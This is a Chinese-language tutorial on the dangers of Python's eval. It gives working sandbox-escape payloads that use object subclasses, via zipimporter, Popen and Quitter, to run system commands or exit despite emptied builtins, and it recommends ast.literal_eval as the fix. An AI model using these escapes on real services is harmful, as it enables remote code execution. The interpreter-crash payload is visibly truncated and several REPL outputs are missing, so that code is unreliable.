Python中eval带来的潜在风险代码分析
0x00 前言
eval是Python用于执行python表达式的一个内置函数，使用eval，可以很方便的将字符串动态执行。比如下列代码：
>>> eval("1+2")
>>> eval("[x for x in range(10)]")
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
当内存中的内置模块含有os的话，eval同样可以做到命令执行：
>>> import os
>>> eval("os.system('whoami')")
win-20140812chj\administrator
当然，eval只能执行Python的表达式类型的代码，不能直接用它进行import操作，但exec可以。如果非要使用eval进行import，则使用 __import__ ：
>>> exec('import os')
>>> eval('import os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
import os
^
SyntaxError: invalid syntax
>>> eval("__import__('os').system('whoami')")
win-20140812chj\administrator
在实际的代码中，往往有使用客户端数据带入eval中执行的需求。比如动态模块的引入，举个栗子，一个在线爬虫平台上爬虫可能有多个并且位于不同的模块中，服务器端但往往只需要调用用户在客户端选择的爬虫类型，并通过后端的exec或者eval进行动态调用，后端编码实现非常方便。但如果对用户的请求处理不恰当，就会造成严重的安全漏洞。
0x01 “安全”使用eval
现在提倡最多的就是使用eval的后两个参数来设置函数的白名单：
Eval函数的声明为 eval(expression[, globals[, locals]])
其中，第二三个参数分别指定能够在eval中使用的函数等，如果不指定，默认为globals()和locals()函数中 包含的模块和函数。
>>> import os
>>> 'os' in globals()
True
>>> eval('os.system(\'whoami\')')
win-20140812chj\administrator
>>> eval('os.system(\'whoami\')',{},{})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'os' is not defined
如果指定只允许调用abs函数，可以使用下面的写法：
>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'os' is not defined
>>> eval('os.system(\'whoami\')')
win-20140812chj\administrator
使用这种方法来防护，确实可以起到一定的作用，但是， 这种处理方法可能会被绕过 ，从而造成其他问题！
0x02 绕过执行代码1
被绕过的情景如下，小明知道了eval会带来一定的安全风险，所以使用如下的手段去防止eval执行任意代码：
env = {}
env["locals"] = None
env["globals"] = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
eval(users_str, env)
Python中的 __builtins__ 是内置模块，用来设置内置函数的模块。比如熟悉的abs，open等内置函数，都是在该模块中以字典的方式存储的，下面两种写法是等价的：
>>> __builtins__.abs(-20)
>>> abs(-20)
我们也可以自定义内置函数，并像使用Python中的内置函数一样使用它们：
>>> def hello():
... print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi
小明将eval函数的作用域中的内置模块设置为 None ，好像看起来很彻底了，但依然可以被绕过。 __builtins__ 是 __builtin__ 的一个引用，在 __main__ 模块下，两者是等价的：
>>> id(__builtins__)
>>> id(__builtin__)
根据 乌云drops 提到的方法，使用如下代码即可：
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
上面的代码首先利用 __class__ 和 __subclasses__ 动态加载了 object 对象，这是因为eval中无法直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入，并调用其内置模块中的os模块从而实现命令执行，当然，前提是要有configobj的egg文件。 configobj模块很有意思，居然内置了os模块：
>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
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和configobj类似的模块如 urllib ， urllib2 ， setuptools 等都有os的内置，理论上使用哪个都行。 如果无法下载egg压缩文件，可以下载带有setup.py的文件夹，加入：
from setuptools import setup, find_packages
然后执行:
python setup.py bdist_egg
就可以在dist文件夹中找到对应的egg文件。 绕过demo如下：
>>> env = {}
>>> env["locals"] = None
>>> env["globals"] = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
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>>> eval(users_str, {}, {})
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0x03 拒绝服务攻击1
object的子类中有很多有趣的东西，执行以下代码查看：
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
这里我就不输出结果了，如果你执行的话，可以看到很多有趣的模块，比如file，zipimporter，Quitter等。经过测试，file的构造函数是被解释器沙箱隔离的。 简单的，或者直接使object暴露出的子类Quitter进行退出：
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
== 'Quitter'][0](0)()", {'__builtins__':None})
C:/>
如果运气好，遇到对方程序中导入了 os 等敏感模块，那么Popen就可以用，并且绕过 __builins__ 为空的限制，栗子如下：
>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
<subprocess.Popen object at 0x0324FF70>
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 1，已接收 = 1，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
最短 = 0ms，最长 = 0ms，平均 = 0ms
>>>
事实上，这种情况非常多，比如导入os模块，一般用来处理路径问题。所以说，遇到这种情况，完全可以列举大量的功能函数，来探测目标object的子类中是否含有一些危险的函数可以直接使用。
0x04 拒绝服务攻击2
同样，我们甚至可以绕过 __builtins__ 为None，造成一次拒绝服务攻击，Payload(来自老外blog)如下：
>>> eval('(lambda fc=(lambda n: .__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
运行上面的代码，Python直接crash掉了，造成拒绝服务攻击。 原理是通过嵌套的lambda来构造一片代码段，即code对象。为这个code对象分配空的栈，并给出相应的代码字符串，这里是 KABOOM ，在空栈上执行代码，会出现crash。构造完成后，调用fc函数即可触发，其思路不可谓不淫荡。
0x05 总结
从上面的内容我们可以看出，单单将内置模块置为空，是不够的，最好的机制是构造白名单，如果觉得比较麻烦，可以使用 ast.literal_eval 代替不安全的 eval 。
以上就是本文关于Python中eval带来的潜在风险代码分析的全部内容，希望对大家有所帮助。感兴趣的朋友可以继续参阅本站其他相关专题，如有不足之处，欢迎留言指出。感谢朋友们对本站的支持！
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